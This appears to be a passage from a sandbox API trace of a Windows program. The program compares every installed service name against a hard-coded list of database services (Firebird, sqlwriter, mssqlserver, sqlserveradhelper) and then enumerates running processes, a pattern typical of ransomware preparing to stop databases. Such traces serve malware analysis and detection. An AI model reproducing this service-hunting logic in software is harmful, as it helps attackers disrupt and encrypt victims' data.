	[0092.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0092.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0092.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0092.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0092.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0092.632] lstrlenW (lpString="DPS") returned 3
	[0092.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0092.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0092.911] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0092.911] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0092.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0092.911] lstrlenW (lpString="DusmSvc") returned 7
	[0092.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0092.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0092.911] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0092.911] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0092.912] lstrlenW (lpString="EventLog") returned 8
	[0092.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0092.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0092.912] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0092.912] lstrlenW (lpString="EventSystem") returned 11
	[0092.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0092.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0092.912] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0092.912] lstrlenW (lpString="FontCache") returned 9
	[0092.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0092.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0092.912] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0092.912] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0092.912] lstrlenW (lpString="gpsvc") returned 5
	[0092.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0092.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0092.912] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0092.912] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0092.912] lstrlenW (lpString="iphlpsvc") returned 8
	[0092.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0092.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0092.912] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0092.912] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0092.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0092.912] lstrlenW (lpString="KeyIso") returned 6
	[0092.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0092.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0092.912] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0092.913] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0092.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0092.913] lstrlenW (lpString="LanmanServer") returned 12
	[0092.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0092.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0092.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0092.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0092.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0092.913] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0092.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0092.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0092.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0092.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0092.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0092.913] lstrlenW (lpString="lfsvc") returned 5
	[0092.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0092.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0092.913] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0092.913] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0092.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0092.913] lstrlenW (lpString="lmhosts") returned 7
	[0092.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0092.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0092.913] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0092.913] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0092.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0092.913] lstrlenW (lpString="LSM") returned 3
	[0092.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0092.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0092.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0092.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0092.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0092.913] lstrlenW (lpString="MapsBroker") returned 10
	[0092.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0092.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0092.913] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0092.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0092.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0092.914] lstrlenW (lpString="MpsSvc") returned 6
	[0092.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0092.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0092.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0092.914] lstrlenW (lpString="NcbService") returned 10
	[0092.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0092.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0092.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0092.914] lstrlenW (lpString="netprofm") returned 8
	[0092.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0092.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0092.914] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0092.914] lstrlenW (lpString="NlaSvc") returned 6
	[0092.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0092.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0092.914] lstrlenW (lpString="nsi") returned 3
	[0092.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0092.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0092.914] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0092.914] lstrlenW (lpString="PcaSvc") returned 6
	[0092.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0092.914] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0092.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0092.915] lstrlenW (lpString="PlugPlay") returned 8
	[0092.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0092.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0092.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0092.915] lstrlenW (lpString="Power") returned 5
	[0092.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0092.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0092.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0092.915] lstrlenW (lpString="ProfSvc") returned 7
	[0092.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0092.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0092.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0092.915] lstrlenW (lpString="RpcEptMapper") returned 12
	[0092.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0092.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0092.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0092.915] lstrlenW (lpString="RpcSs") returned 5
	[0092.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0092.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0092.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0092.915] lstrlenW (lpString="SamSs") returned 5
	[0092.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0092.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0092.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0092.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0092.916] lstrlenW (lpString="Schedule") returned 8
	[0092.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0092.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0092.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0092.916] lstrlenW (lpString="SecurityHealthService") returned 21
	[0092.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0092.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0092.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0092.916] lstrlenW (lpString="SENS") returned 4
	[0092.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0092.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0092.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0092.916] lstrlenW (lpString="ShellHWDetection") returned 16
	[0092.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0092.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0092.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0092.916] lstrlenW (lpString="Spooler") returned 7
	[0092.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0092.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0092.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0092.916] lstrlenW (lpString="SSDPSRV") returned 7
	[0092.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0092.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0092.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0092.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0092.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0092.917] lstrlenW (lpString="StateRepository") returned 15
	[0092.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0092.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0092.917] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0092.917] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0092.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0092.917] lstrlenW (lpString="SysMain") returned 7
	[0092.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0092.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0092.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0092.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0092.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3196708 | out: hHeap=0x500000) returned 1
	[0092.917] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390
	[0093.149] Process32FirstW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0093.150] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0093.150] lstrlenW (lpString="System") returned 6
	[0093.150] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0093.151] lstrlenW (lpString="smss.exe") returned 8
	[0093.151] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0093.151] lstrlenW (lpString="csrss.exe") returned 9
	[0093.151] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0093.152] lstrlenW (lpString="wininit.exe") returned 11
	[0093.152] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0093.152] lstrlenW (lpString="csrss.exe") returned 9
	[0093.152] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0093.153] lstrlenW (lpString="winlogon.exe") returned 12
	[0093.153] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0093.153] lstrlenW (lpString="services.exe") returned 12
	[0093.153] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0093.154] lstrlenW (lpString="lsass.exe") returned 9
	[0093.154] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.154] lstrlenW (lpString="svchost.exe") returned 11
	[0093.154] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0093.155] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0093.155] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0093.156] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0093.156] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.156] lstrlenW (lpString="svchost.exe") returned 11
	[0093.156] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0093.157] lstrlenW (lpString="dwm.exe") returned 7
	[0093.157] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.157] lstrlenW (lpString="svchost.exe") returned 11
	[0093.157] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.158] lstrlenW (lpString="svchost.exe") returned 11
	[0093.158] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.158] lstrlenW (lpString="svchost.exe") returned 11
	[0093.158] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.159] lstrlenW (lpString="svchost.exe") returned 11
	[0093.159] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.159] lstrlenW (lpString="svchost.exe") returned 11
	[0093.159] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.160] lstrlenW (lpString="svchost.exe") returned 11
	[0093.160] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.160] lstrlenW (lpString="svchost.exe") returned 11
	[0093.160] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.161] lstrlenW (lpString="svchost.exe") returned 11
	[0093.161] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.161] lstrlenW (lpString="svchost.exe") returned 11
	[0093.162] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.162] lstrlenW (lpString="svchost.exe") returned 11
	[0093.162] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0093.163] lstrlenW (lpString="spoolsv.exe") returned 11
	[0093.163] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.163] lstrlenW (lpString="svchost.exe") returned 11
